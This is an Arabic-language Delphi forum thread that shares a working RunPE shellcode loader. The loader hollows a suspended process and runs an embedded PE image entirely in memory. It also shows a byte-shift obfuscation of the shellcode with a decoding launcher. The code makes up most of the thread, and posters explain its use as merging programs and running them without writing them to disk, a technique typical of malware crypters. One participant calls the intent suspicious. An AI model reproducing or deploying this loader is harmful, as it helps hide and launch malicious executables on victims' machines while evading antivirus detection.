Shellcode RunPE مثال جيد
#1
السلام عليكم

اليكم المثال
PHP كود :
program RunShellCode;

uses
  Windows
,
  
Unit2 in 'Unit2.pas';

var
  
arrRunPE:  array[0..693] of Byte = (
    $
55,$8B,$EC,$81,$C4,$A4,$FA,$FF,$FF,$89,$45,$FC,$E8,$1B,$02,$00,$00,$89,$85,$CC,
    
$FD,$FF,$FF,$BB,$F2,$0F,$56,$C6,$8B,$95,$CC,$FD,$FF,$FF,$E8,$19,$02,$00,$00,$89,
    $
45,$F8,$BB,$A9,$8B,$80,$2D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$06,$02,$00,$00,$89,$45,
    
$F4,$BB,$85,$3B,$AE,$DB,$8B,$95,$CC,$FD,$FF,$FF,$E8,$F3,$01,$00,$00,$89,$45,$F0,
    
$BB,$93,$35,$DF,$85,$8B,$95,$CC,$FD,$FF,$FF,$E8,$E0,$01,$00,$00,$89,$45,$EC,$BB,
    $
8D,$CB,$B6,$5D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$CD,$01,$00,$00,$89,$45,$E8,$BB,$53,
    $
13,$C1,$78,$8B,$95,$CC,$FD,$FF,$FF,$E8,$BA,$01,$00,$00,$89,$45,$E4,$BB,$8A,$DB,
    
$DF,$A5,$8B,$95,$CC,$FD,$FF,$FF,$E8,$A7,$01,$00,$00,$89,$45,$E0,$BB,$2E,$05,$50,
    
$C8,$8B,$95,$CC,$FD,$FF,$FF,$E8,$94,$01,$00,$00,$89,$45,$DC,$BB,$85,$A1,$16,$A2,
    $
8B,$95,$CC,$FD,$FF,$FF,$E8,$81,$01,$00,$00,$E8,$06,$00,$00,$00,$6E,$74,$64,$6C,
    $
6C,$00,$5F,$57,$FF,$D0,$89,$85,$D0,$FD,$FF,$FF,$BB,$8B,$E3,$CD,$41,$8B,$D0,$E8,
    $
60,$01,$00,$00,$89,$45,$D8,$BB,$39,$23,$0D,$2C,$8B,$95,$D0,$FD,$FF,$FF,$E8,$4D,
    $
01,$00,$00,$89,$45,$D4,$68,$00,$02,$00,$00,$8D,$85,$D4,$FD,$FF,$FF,$50,$6A,$00,
    
$FF,$55,$F8,$6A,$44,$8D,$85,$88,$FD,$FF,$FF,$50,$FF,$55,$D4,$FF,$55,$F4,$8B,$C8,
    $
8D,$85,$78,$FD,$FF,$FF,$50,$8D,$85,$88,$FD,$FF,$FF,$50,$6A,$00,$6A,$00,$6A,$04,
    $
6A,$00,$6A,$00,$6A,$00,$51,$8D,$85,$D4,$FD,$FF,$FF,$50,$FF,$55,$F0,$68,$CC,$02,
    $
00,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$55,$D4,$C7,$85,$A4,$FA,$FF,$FF,$02,$00,
    $
01,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$EC,$64,$A1,
    $
30,$00,$00,$00,$8B,$40,$0C,$8B,$40,$14,$8B,$40,$10,$50,$FF,$B5,$78,$FD,$FF,$FF,
    
$FF,$55,$D8,$8B,$7D,$FC,$03,$7F,$3C,$6A,$40,$68,$00,$30,$00,$00,$FF,$77,$50,$FF,
    $
77,$34,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E8,$89,$85,$74,$FD,$FF,$FF,$6A,$00,$FF,
    $
77,$54,$FF,$75,$FC,$FF,$B5,$74,$FD,$FF,$FF,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E4,
    $
8D,$47,$18,$89,$85,$70,$FD,$FF,$FF,$0F,$B7,$47,$14,$01,$85,$70,$FD,$FF,$FF,$33,
    
$C0,$33,$F6,$33,$C9,$EB,$29,$6B,$C6,$28,$03,$85,$70,$FD,$FF,$FF,$8B,$9D,$74,$FD,
    
$FF,$FF,$03,$58,$0C,$8B,$55,$FC,$03,$50,$14,$6A,$00,$FF,$70,$10,$52,$53,$FF,$B5,
    $
78,$FD,$FF,$FF,$FF,$55,$E4,$46,$66,$3B,$77,$06,$72,$D1,$8B,$85,$74,$FD,$FF,$FF,
    $
03,$47,$28,$89,$85,$54,$FB,$FF,$FF,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,
    
$FF,$FF,$FF,$55,$E0,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$DC,$C9,$C3,$64,$A1,$30,$00,
    $
00,$00,$8B,$40,$0C,$8B,$40,$0C,$8B,$00,$8B,$00,$8B,$40,$18,$C3,$55,$8B,$EC,$83,
    
$C4,$F4,$52,$89,$55,$FC,$8B,$4A,$3C,$03,$CA,$89,$4D,$F4,$8B,$49,$78,$03,$CA,$89,
    $
4D,$F8,$8B,$51,$18,$8B,$49,$20,$03,$4D,$FC,$33,$FF,$8B,$31,$03,$75,$FC,$33,$C0,
    $
51,$AC,$8B,$C8,$03,$F8,$D3,$C7,$85,$C0,$75,$F5,$59,$3B,$FB,$74,$10,$83,$C1,$04,
    $
4A,$75,$E0,$BA,$C2,$58,$62,$1B,$5A,$33,$C0,$C9,$C3,$8B,$45,$FC,$8B,$4D,$F8,$8B,
    $
59,$18,$8B,$49,$24,$03,$C8,$2B,$DA,$D1,$E3,$03,$CB,$0F,$B7,$19,$8B,$4D,$F8,$8B,
    $
49,$1C,$03,$C8,$C1,$E3,$02,$03,$CB,$03,$01,$5A,$C9,$C3);


var
  
RunPEProc :procedure(arr:TbytArray);
  
i:integer;
   
crypt,dcrypt:  array[0..693] of Byte ;
begin
for i:=0 to length(arrRunPE) do  // مثال للتشفير فقط يمكنكم حذفه واستخدام هذا فقط RunPEProc := @arrRunPE[0];
  
crypt[i]:=Ord(arrRunPE[i]);

for 
i:=0 to length(crypt) do // مثال للتشفير فقط يمكنكم حذفه واستخدام هذا فقط RunPEProc := @arrRunPE[0];
  
dcrypt[i]:=byte(crypt[i]);

  
RunPEProc := @crypt[0];  //RunPEProc := @arrRunPE[0];
  
RunPEProc(Project11_);
end. 

برنامج مرحبا العالم

PHP كود :
unit Unit2;

Interface
Uses Windows;
type
TbytArray 
= array[0..15960] of byte;
Const
  
aSize = 15961;
  
Project11_: TbytArray=
(

$
4D,$5A,$50,$00,$02,$00,$00,$00,$04,$00,$0F,$00,$FF,$FF,$00,$00,$B8,$00,
$
00,$00,$00,$00,$00,$00,$40,$00,$1A,$00,$00,$00,$00,$00,$00,$00,$00,$00,
$
00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
$
00,$00,$00,$00,$00,$00,$00,$01,$00,$00,$BA,$10,$00,$0E,$1F,$B4,$09,$CD
.
.
.
.
.
////////////////////////
الكود كامل
تجدونه في المرفقات 
.////////////////////////
.
.
.
.
,$
4F,$65,$51,$56,$77,$71,$55,$5A,$50,$6C,$71,$7A,$56,$42,$53,
$
66,$6B,$57,$4F,$6F,$3D,$3E,$00,$00,$02,$00,$00,$00
);

implementation

end
. 


الملفات المرفقة
.rar   Unit2.rar (الحجم : 11.42 ك ب / التحميلات : 230)
الرد
#2
تجربة للتشفير باضافة 1 لترتيب الحرف
PHP كود :
arr: array[0..695] of byte = (
86,140,237,130,197,165,251,0,0,138,70,253,233,28,3,1,1,138,134,205,254,0,0,188,243
,16,87,199,140,150,205,254,0,0,233,26,3,1,1,138,70,249,188,170,140,129,46,140,
150,205,254,0,0,233,7,3,1,1,138,70,245,188,134,60,175,220,140,150,205,254,0,0,233
,244,2,1,1,138,70,241,188,148,54,224,134,140,150,205,254,0,0,233,225,2,1,1,138,
70,237,188,142,204,183,94,140,150,205,254,0,0,233,206,2,1,1,138,70,233,188,84,20
,194,121,140,150,205,254,0,0,233,187,2,1,1,138,70,229,188,139,220,224,166,140,150
,205,254,0,0,233,168,2,1,1,138,70,225,188,47,6,81,201,140,150,205,254,0,0,233,149
,2,1,1,138,70,221,188,134,162,23,163,140,150,205,254,0,0,233,130,2,1,1,233,7,1
,1,1,111,117,101,109,109,1,96,88,0,209,138,134,209,254,0,0,188,140,228,206,66,140
,209,233,97,2,1,1,138,70,217,188,58,36,14,45,140,150,209,254,0,0,233,78,2,1,1,138
,70,213,105,1,3,1,1,142,134,213,254,0,0,81,107,1,0,86,249,107,69,142,134,137,254
,0,0,81,0,86,213,0,86,245,140,201,142,134,121,254,0,0,81,142,134,137,254,0,0,81
,107,1,107,1,107,5,107,1,107,1,107,1,82,142,134,213,254,0,0,81,0,86,241,105,205
,3,1,1,142,134,165,251,0,0,81,0,86,213,200,134,165,251,0,0,3,1,2,1,142,134,165,251
,0,0,81,0,182,125,254,0,0,0,86,237,101,162,49,1,1,1,140,65,13,140,65,21,140,65
,17,81,0,182,121,254,0,0,0,86,217,140,126,253,4,128,61,107,65,105,1,49,1,1,0,120
,81,0,120,53,0,182,121,254,0,0,0,86,233,138,134,117,254,0,0,107,1,0,120,85,0,118
,253,0,182,117,254,0,0,0,182,121,254,0,0,0,86,229,142,72,25,138,134,113,254,0,0,
16,184,72,21,2,134,113,254,0,0,52,193,52,247,52,202,236,42,108,199,41,4,134,113,
254,0,0,140,158,117,254,0,0,4,89,13,140,86,253,4,81,21,107,1,0,113,17,83,84,0,182
,121,254,0,0,0,86,229,71,103,60,120,7,115,210,140,134,117,254,0,0,4,72,41,138,134
,85,252,0,0,142,134,165,251,0,0,81,0,182,125,254,0,0,0,86,225,0,182,125,254,0,
0,0,86,221,202,196,101,162,49,1,1,1,140,65,13,140,65,13,140,1,140,1,140,65,25,196
,86,140,237,132,197,245,83,138,86,253,140,75,61,4,203,138,78,245,140,74,121,4,203
,138,78,249,140,82,25,140,74,33,4,78,253,52,0,140,50,4,118,253,52,193,82,173,140
,201,4,249,212,200,134,193,118,246,90,60,252,117,17,132,194,5,75,118,225,187,195
,89,99,28,91,52,193,202,196,140,70,253,140,78,249,140,90,25,140,74,37,4,201,44
,219,210,228,4,204,16,184,26,140,78,249,140,74,29,4,201,194,228,3,4,204,4,2,91,202
,196,78,78); 

الاستخدام
PHP كود :
program RunShellCode;
   {
$APPTYPE CONSOLE}


uses sysutils,
  
Unit2 in 'Unit2.pas';
  var
  
i:integer;
   
crypt:  array[0..695] of Byte ;
begin
for i:=0 to length(arr) do begin
 crypt
[i]:=(arr[i])-1;
 
Write(inttostr(crypt[i])+',');
end;
RunPEProc := @crypt[0];
RunPEProc(Project2_);
Readln;
end. 
[-] كل من 1 user says قال شكرا ل onexite على المشاركة المفيدة
  • mohamed49
الرد
#3
لكن ما الفائدة من تشغيل برنامج بواسطة Shell Code , او بالاحرى ماالذي يمكن فعله ب Shell Code ولا يمكن فعله بواسطة برنامج مكتوب بلغة برمجه عالية المستوى , لانه في النهاية الكل سوف ينفذ في cpu
الرد
#4
virtual كتب :لكن ما الفائدة ...
دمج البرامج وتنفيذها بدون استخراج في القرص
الرد
#5
السلام عليكم ورحمة الله

حتى يستفيد/يفهم من يشاهد الموضوع اكثر ينقص تحويل الshell code الى اوامر التجميع و/او ما يوافقها بدلفي

على ما اعتقد الكود الاصلي نشر في منتدى iCode من DeadlyVermilion
كود :
var arrRunPE: array[0..693] of Byte = ( $55,$8B,$EC,$81,$C4,$A4,$FA,$FF,$FF,$89,$45,$FC,$E8,$1B,$02,$00,$00,$89,$85,$CC, $FD,$FF,$FF,$BB,$F2,$0F,$56,$C6,$8B,$95,$CC,$FD,$FF,$FF,$E8,$19,$02,$00,$00,$89, $45,$F8,$BB,$A9,$8B,$80,$2D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$06,$02,$00,$00,$89,$45, $F4,$BB,$85,$3B,$AE,$DB,$8B,$95,$CC,$FD,$FF,$FF,$E8,$F3,$01,$00,$00,$89,$45,$F0, $BB,$93,$35,$DF,$85,$8B,$95,$CC,$FD,$FF,$FF,$E8,$E0,$01,$00,$00,$89,$45,$EC,$BB, $8D,$CB,$B6,$5D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$CD,$01,$00,$00,$89,$45,$E8,$BB,$53, $13,$C1,$78,$8B,$95,$CC,$FD,$FF,$FF,$E8,$BA,$01,$00,$00,$89,$45,$E4,$BB,$8A,$DB, $DF,$A5,$8B,$95,$CC,$FD,$FF,$FF,$E8,$A7,$01,$00,$00,$89,$45,$E0,$BB,$2E,$05,$50, $C8,$8B,$95,$CC,$FD,$FF,$FF,$E8,$94,$01,$00,$00,$89,$45,$DC,$BB,$85,$A1,$16,$A2, $8B,$95,$CC,$FD,$FF,$FF,$E8,$81,$01,$00,$00,$E8,$06,$00,$00,$00,$6E,$74,$64,$6C, $6C,$00,$5F,$57,$FF,$D0,$89,$85,$D0,$FD,$FF,$FF,$BB,$8B,$E3,$CD,$41,$8B,$D0,$E8, $60,$01,$00,$00,$89,$45,$D8,$BB,$39,$23,$0D,$2C,$8B,$95,$D0,$FD,$FF,$FF,$E8,$4D, $01,$00,$00,$89,$45,$D4,$68,$00,$02,$00,$00,$8D,$85,$D4,$FD,$FF,$FF,$50,$6A,$00, $FF,$55,$F8,$6A,$44,$8D,$85,$88,$FD,$FF,$FF,$50,$FF,$55,$D4,$FF,$55,$F4,$8B,$C8, $8D,$85,$78,$FD,$FF,$FF,$50,$8D,$85,$88,$FD,$FF,$FF,$50,$6A,$00,$6A,$00,$6A,$04, $6A,$00,$6A,$00,$6A,$00,$51,$8D,$85,$D4,$FD,$FF,$FF,$50,$FF,$55,$F0,$68,$CC,$02, $00,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$55,$D4,$C7,$85,$A4,$FA,$FF,$FF,$02,$00, $01,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$EC,$64,$A1, $30,$00,$00,$00,$8B,$40,$0C,$8B,$40,$14,$8B,$40,$10,$50,$FF,$B5,$78,$FD,$FF,$FF, $FF,$55,$D8,$8B,$7D,$FC,$03,$7F,$3C,$6A,$40,$68,$00,$30,$00,$00,$FF,$77,$50,$FF, $77,$34,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E8,$89,$85,$74,$FD,$FF,$FF,$6A,$00,$FF, $77,$54,$FF,$75,$FC,$FF,$B5,$74,$FD,$FF,$FF,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E4, $8D,$47,$18,$89,$85,$70,$FD,$FF,$FF,$0F,$B7,$47,$14,$01,$85,$70,$FD,$FF,$FF,$33, $C0,$33,$F6,$33,$C9,$EB,$29,$6B,$C6,$28,$03,$85,$70,$FD,$FF,$FF,$8B,$9D,$74,$FD, $FF,$FF,$03,$58,$0C,$8B,$55,$FC,$03,$50,$14,$6A,$00,$FF,$70,$10,$52,$53,$FF,$B5, $78,$FD,$FF,$FF,$FF,$55,$E4,$46,$66,$3B,$77,$06,$72,$D1,$8B,$85,$74,$FD,$FF,$FF, $03,$47,$28,$89,$85,$54,$FB,$FF,$FF,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD, $FF,$FF,$FF,$55,$E0,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$DC,$C9,$C3,$64,$A1,$30,$00, $00,$00,$8B,$40,$0C,$8B,$40,$0C,$8B,$00,$8B,$00,$8B,$40,$18,$C3,$55,$8B,$EC,$83, $C4,$F4,$52,$89,$55,$FC,$8B,$4A,$3C,$03,$CA,$89,$4D,$F4,$8B,$49,$78,$03,$CA,$89, $4D,$F8,$8B,$51,$18,$8B,$49,$20,$03,$4D,$FC,$33,$FF,$8B,$31,$03,$75,$FC,$33,$C0, $51,$AC,$8B,$C8,$03,$F8,$D3,$C7,$85,$C0,$75,$F5,$59,$3B,$FB,$74,$10,$83,$C1,$04, $4A,$75,$E0,$BA,$C2,$58,$62,$1B,$5A,$33,$C0,$C9,$C3,$8B,$45,$FC,$8B,$4D,$F8,$8B, $59,$18,$8B,$49,$24,$03,$C8,$2B,$DA,$D1,$E3,$03,$CB,$0F,$B7,$19,$8B,$4D,$F8,$8B, $49,$1C,$03,$C8,$C1,$E3,$02,$03,$CB,$03,$01,$5A,$C9,$C3); //Example of use: asm MOV EAX, dwArrayToRun LEA EBX, arrRunPE[0] CALL EBX end;

إقتباس :ماالذي يمكن فعله ب Shell Code ولا يمكن فعله بواسطة برنامج مكتوب بلغة برمجه عالية المستوى
اللغات عالية المستوى لا تنفع لسببين
1- الحجم
2- المحمولية بالذاكرة ان صح التعبير!
الرد
#6
لا اعرف لماذا يقوم بتحويل الكود الى الهكس
ترتيب الحرف يكفي
على كل حال هذا البرنامج اصبح مفتوح المصدر وتضاعفت سرعة التحويل اكثر من الضعف
[صورة: 20121220114553.png]


الملفات المرفقة
.rar   int.rar (الحجم : 85.12 ك ب / التحميلات : 277)
[-] كل من 1 user says قال شكرا ل onexite على المشاركة المفيدة
  • mohamed49
الرد
#7
إقتباس :اللغات عالية المستوى لا تنفع لسببين
1- الحجم
2- المحمولية بالذاكرة ان صح التعبير!

[COLOR="Navy"] ممكن مثال يوضح الفائدة من استخدام shell code ؟
الاستخدام الوحيد الذي اراه ممكن هو حقن ملف تنفيذي ب shell code معين ثم البحث عن تعليمة call ثم اعطائها عنوان shell code .
لكن هذا يوضح نية مريبة Wink
[/COLOR]
الرد
#8
إقتباس :لا اعرف لماذا يقوم بتحويل الكود الى الهكس
غالبا يكتب الshell code بالhex
انتبه الكود يكون منظم اكثر فكل حرف يمثل بحرفين اضافة الى $ والفاصلة
إقتباس :حقن ملف تنفيذي ب shell code معين ثم...
أنظر للامر من زاوية اخرى
اذا قلت لك "كود صغير الحجم يمكن وضعه بالذاكرة وتنفيذه دون ان يكون متعلق بموضع محدد من الذاكرة" ماذا يمكنك ان تفعل به ؟ فكر.. أمور كثيرة، جزء من برنامج حماية ، اضافات Plugins ....
[-] كل من 1 user says قال شكرا ل محمد عبد العزيز على المشاركة المفيدة
  • mohamed49
الرد
#9
شكرا جزيلا على هذه المعلومة لكن انا جديد جدا على الدلفي ورايت هذا الموضوع وسمعت عنه الكثير لكن لدي سؤال بخصوص الارقام الموضوعة في الشال كود هل هي عشوائية او هو ملف محول الى شال كود وما هو هذا الملف وكيف يمكن ان احول الملف برمجيا الى شال كود
جزاك الله خيرا على الموضوع
الرد


التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم